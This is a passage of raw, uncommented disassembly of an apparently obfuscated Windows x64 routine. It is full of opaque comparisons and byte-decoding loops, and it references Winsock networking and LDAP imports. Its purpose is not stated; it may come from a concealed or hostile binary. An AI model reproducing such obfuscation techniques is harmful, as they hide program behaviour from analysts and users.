cmp r8, rax
jb 0x140098bd4
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140098baf
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140098014
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140097ff0
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140097fd1
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400982c9
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x140098264
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140098215
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400981e5
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400981af
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140098187
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14009815e
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x140098125
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400980ed
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400980c8
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140098099
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140098067
lea rax, [r9 + 3]
cmp r8, rax
ja 0x140098042
lea r8, [r9 + 4]
lea r9, [r8 + 0x5a]
jmp 0x140097e50
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6b
add r10b, dl
jmp 0x140097e40
movabs rcx, 0xfed587ec5d51b7b1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x29
jmp 0x140097db1
movabs rcx, 0xaac376fd77fc6fdf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
movabs rcx, 0xaa09087772aaa3e9
jmp 0x140097d4f
movabs rdx, 0x95ed8e633ffb90e8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x140098a52
movabs rdx, 0x41db7d745aa64916
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140097d32
movabs rdx, 0xedc96c8575510144
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140097d32
movabs rdx, 0x99b75b968ffbb972
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1e
jmp 0x1400989c5
movabs rcx, 0x45a54aa7aaa671a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rdx, 0xf19339b8c55129ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rdx, 0x9d8128c9dffbe1fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140098b02
movabs rdx, 0x496f17dafaa69a2a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x26
add r10b, dl
jmp 0x140098b32
movabs rcx, 0xf55d06ec15515258
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
movabs rcx, 0xa32fdc96d7fc1ecb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x73
mov byte [rbp + rbx + 0x8b8], r10b
inc rbx
jmp 0x140097d32
movabs rcx, 0x4f1dcba7f2a6d6f9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x31
cmp r9, 0x64
jb 0x140098205
movabs rcx, 0xbf995f97affd4ed6
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140098a55
movabs rdx, 0xfb0bbab90d518f27
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x11
add r10b, dl
cmp r8, 9
jae 0x1400988b2
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14009878f
movabs rdx, 0x76e4b642baa880a2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
jmp 0x140098234
movabs rdx, 0xa6f9a9ca27fc4755
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x53
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400988e0
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x140098668
movabs rdx, 0x8427047652a90e85
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x5d
jmp 0x140098284
movabs rdx, 0x5c6019db8aa764dc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 4
add r10b, dl
jmp 0x140098b32
movabs rdx, 0x84e08eca5521d0a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x46
add r10b, dl
jmp 0x140098b02
movabs rdx, 0xb43bf7fdbffcd538
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rdx, 0x6029e70edaa78d66
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rdx, 0xc17d61ff5524594
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xc
jmp 0x1400989c5
movabs rcx, 0xb805c5310ffcfdc2
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4e
dec rbx
inc rbx
jmp 0x140097d32
movabs rdx, 0x63f3b4422aa7b5f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140097d32
movabs rdx, 0xfe1a35345526e1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140098a52
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400984cb
movabs rdx, 0xaa09087772aaa3e9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5f
jmp 0x1400982e9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140098512
movabs rdx, 0xe57b6398cffee43a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
inc rax
cmp r8, rax
jne 0x140098546
movabs rdx, 0x398d7487b5542c0c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x54
add r10b, dl
jmp 0x140098b32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140098577
movabs rcx, 0x8d9f85769aa973de
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x140098b02
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400985c0
movabs rdx, 0x35c3a75465540382
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400985f2
movabs rdx, 0x89d5b8434aa94b54
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4c
jmp 0x1400989c5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098629
movabs rcx, 0xdde7c9322ffe9326
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xa
dec rbx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400982ec
movabs rdx, 0x31f9da211553daf8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009869a
movabs rdx, 0xd839156537fe5657
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x61
jmp 0x140098a52
inc rax
cmp r8, rax
jne 0x1400986d4
movabs rcx, 0x2c4b26541d539e29
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x1f
inc r9
dec rbx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098719
movabs rcx, 0x28815920cd53759f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x59
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009875a
movabs rcx, 0x7c936a0fb2a8bd71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098287
movabs rdx, 0xd0a57afe97fe0543
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2b
add r10b, dl
jmp 0x140098b02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400987d2
movabs rcx, 0xcaf6c7319ffdc874
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2c
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140098808
movabs rdx, 0x731ae90f6aa85818
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140098b02
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009884d
movabs rcx, 0x1b3f0aed3552e7bc
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x24
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140098880
movabs rdx, 0x6f511bdc1aa82f8e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400989c5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140098234
movabs rdx, 0x6b874ea8caa80704
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
jmp 0x140098a52
movabs rdx, 0x13ab7086955296a8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x8b8]
add r10b, r11b
jmp 0x1400989c5
movabs rdx, 0x67bd81757aa7de7a
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rbx + 0x8b8]
sub r10b, 0x56
add r10b, dl
jmp 0x140098b02
movabs rcx, 0xe7604a3277fef87f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x79
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
movabs rdx, 0x934e394392a9b0ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
add r10b, dl
jmp 0x140098b32
movabs rcx, 0x97180676e2a9d937
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x7f
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rdx, 0x4305f587fd549165
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3d
add r10b, dl
movabs rcx, 0xbdb478fe07fd3a91
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 9
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x8b8], cl
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
movabs rcx, 0xeef3e49917ff4993
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 5
dec rbx
inc rbx
jmp 0x140097d32
movabs rdx, 0x46cfc2bb4d54b9ef
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x77
add r10b, dl
movabs rcx, 0x69a2680f22a7f2bf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x39
add cl, r11b
mov byte [rbp + rbx + 0x8b8], cl
inc r9
dec rbx
inc rbx
jmp 0x140097d32
movabs rcx, 0xf6877effb7ff9aa7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x6f
dec rbx
inc rbx
jmp 0x140097d32
movabs rcx, 0xfa514c3307ffc331
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x57
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140097d32
mov r11, rdx
movabs rax, 0xa63f3b4422aa7b5f
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r10d, [r11 + rax]
add r10b, 0x67
movabs rcx, 0x11c689eced528263
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x4b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x8b8], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xbbcf92645ffd264c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x14
add r11b, cl
mov byte [rbp + rbx + 0x8b8], r11b
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
movabs rcx, 0xfe1b196657ffebbb
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
sub r10b, 0x1d
movzx eax, byte [rbp + rbx + 0x8b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140097d32
movabs rcx, 0x56b1660e92a7280d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5b
jmp 0x140097d2e
movabs rcx, 0x29f551fad51e03b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x63
jmp 0x140097d12
lea rcx, [rbp + 0x1662944]
jmp 0x140098c18
lea rcx, [rbp + 0x50cd2d]
jmp 0x140098c18
lea rcx, [rbp + 0x8b8]
xor r8d, r8d
mov rdx, rdi
call fcn.140036ab0
test al, al
je 0x140098c82
xor ebx, ebx
nop dword [rax]
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x5c], 0
lea r9, [rsp + 0x58]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e340
test al, al
je 0x140098c65
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x140098c72
call fcn.1400149e0
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x140098c30
call fcn.140018c70
lea rdx, [0x140236bf0]
lea rcx, [rbp + 0x2a0]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x20]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [r14 + 0x38], 0
jne 0x1400a3083
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1402055e8]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x8e0], Ordinal_217
mov byte [rbp + 0x8e1], 0xf3
mov byte [rbp + 0x8e2], Ordinal_200
mov byte [rbp + 0x8e3], 0xc0
mov byte [rbp + 0x8e4], 0xc1
mov byte [rbp + 0x8e5], 0xf7
mov byte [rbp + 0x8e6], 6
mov byte [rbp + 0x8e7], Ordinal_217
mov byte [rbp + 0x8e8], Ordinal_200
mov byte [rbp + 0x8e9], 0xfa
mov byte [rbp + 0x8ea], Ordinal_200
mov byte [rbp + 0x8eb], 0xff
mov byte [rbp + 0x8ec], Ordinal_200
mov byte [rbp + 0x8ed], Ordinal_200
mov byte [rbp + 0x8ee], 0xc0
mov byte [rbp + 0x8ef], reloc.WS2_32.dll_WSAGetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8f0], xmm0
mov word [rbp + 0x900], ax
mov byte [rbp + 0x902], al
movabs r12, 0xdf3d1b1001fb1510
movabs r13, 0x4bb90876257decf0
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0xd9de569f3d0bf4d0
cmp rbx, 0x23
jae 0x140099c33
movzx r11d, byte [rbp + rbx + 0x8e0]
mov rdx, r11
cmp r8, rbx
ja 0x140099c27
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140098de4
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x50
jmp 0x140098e20
je 0x140099b9f
inc rax
cmp r8, rax
je 0x140099b3b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140099b08
lea rax, [r9 + 4]
cmp r8, rax
je 0x140099acc
lea rax, [r9 + 2]
cmp r8, rax
je 0x140099aa1
nop dword [rax]
cmp r9, rbx
ja 0x140099c1b
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140098e55
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x70
add r10b, dl
jmp 0x140098ea0
lea rax, [r9 + 1]
cmp r8, rax
je 0x140099a47
inc rax
cmp r8, rax
je 0x140099a18
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400999b2
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009997b
lea rax, [r9 + 5]
cmp r8, rax
je 0x140099942
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x140099541
nop dword [rax]
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140099518
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400994ee
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400994c3
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14009949a
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140099462
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009942d
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009940a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400993e2
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400993a8
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140098eb0
lea r8, [r9 + 0x28]
lea r9, [r8 + 0xa]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140099bf7
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140099bd3
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140099092
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14009906e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009904e
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14009933e
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400992e1
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140099290
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140099261
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009922c
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140099203
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400991df
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400991a6
lea rax, [r9 + 9]
cmp r8, rax
ja 0x140099172
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009914a
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14009911b
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400990ed
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400990c5
lea r8, [r9 + 8]
lea r9, [r8 + 4]
jmp 0x140098eb0
lea rdx, [rbx + r13]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140098ea0
movabs rcx, 0x97fc5b37ab660350
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
jmp 0x140098e20
movabs rdx, 0xe43fadf9314e19b0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movabs rcx, 0xd9de569f3d0bf4d0
jmp 0x140098daf
movabs rdx, 0xf9e8d8800fd8a880
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x140099a6b
movabs rcx, 0x462c2b4195c0bee0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
inc r9
dec rbx
inc rbx
jmp 0x140098d92
movabs rdx, 0x926f7e031ba8d540
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140098d92
movabs rdx, 0xdeb2d0c4a190eba0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x60
add r10b, dl
jmp 0x1400999d6
movabs rcx, 0x2af6238627790200
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rdx, 0x77397647ad611860
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rcx, 0xc37cc90933492ec0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x140099909
movabs rdx, 0xfc01bcab9314520
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140099b59
movabs rcx, 0x5c036e8c3f195b80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
movabs rcx, 0x1aabbd700ddd9370
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x10
mov byte [rbp + rbx + 0x8e0], r10b
inc rbx
jmp 0x140098d92
movabs rdx, 0x66ef103193c5a9d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 4
jb 0x140099280
movabs rcx, 0xce96837252c38ae0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x40]
jmp 0x140099a6b
movabs rcx, 0xb33262f319adc030
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
cmp r8, 3
jae 0x1400998b3
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x14009978c
movabs rcx, 0xc937bf018dd46aa0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x1400992b4
movabs rdx, 0xff75b5b49f95d690
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x3e8
je 0x1400998dd
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140099694
movabs rdx, 0xe9faa3f18bd95590
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140099300
movabs rdx, 0x3b6ea2600be27e60
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x8e0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140098d92
movabs rdx, 0x87b1f52191ca94c0
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x40
add r10b, dl
jmp 0x140099b59
movabs rdx, 0xd3f547e317b2ab20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
jmp 0x140099903
movabs rcx, 0x20389aa49d9ac180
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rcx, 0x6c7bed662382d7e0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140098d92
movabs rdx, 0xb8bf4027a96aee40
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400999d6
movabs rcx, 0x50292e92f5304a0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140098d92
movabs rcx, 0x5145e5aab53b1b00
add rcx, rbx
movzx eax, r11b
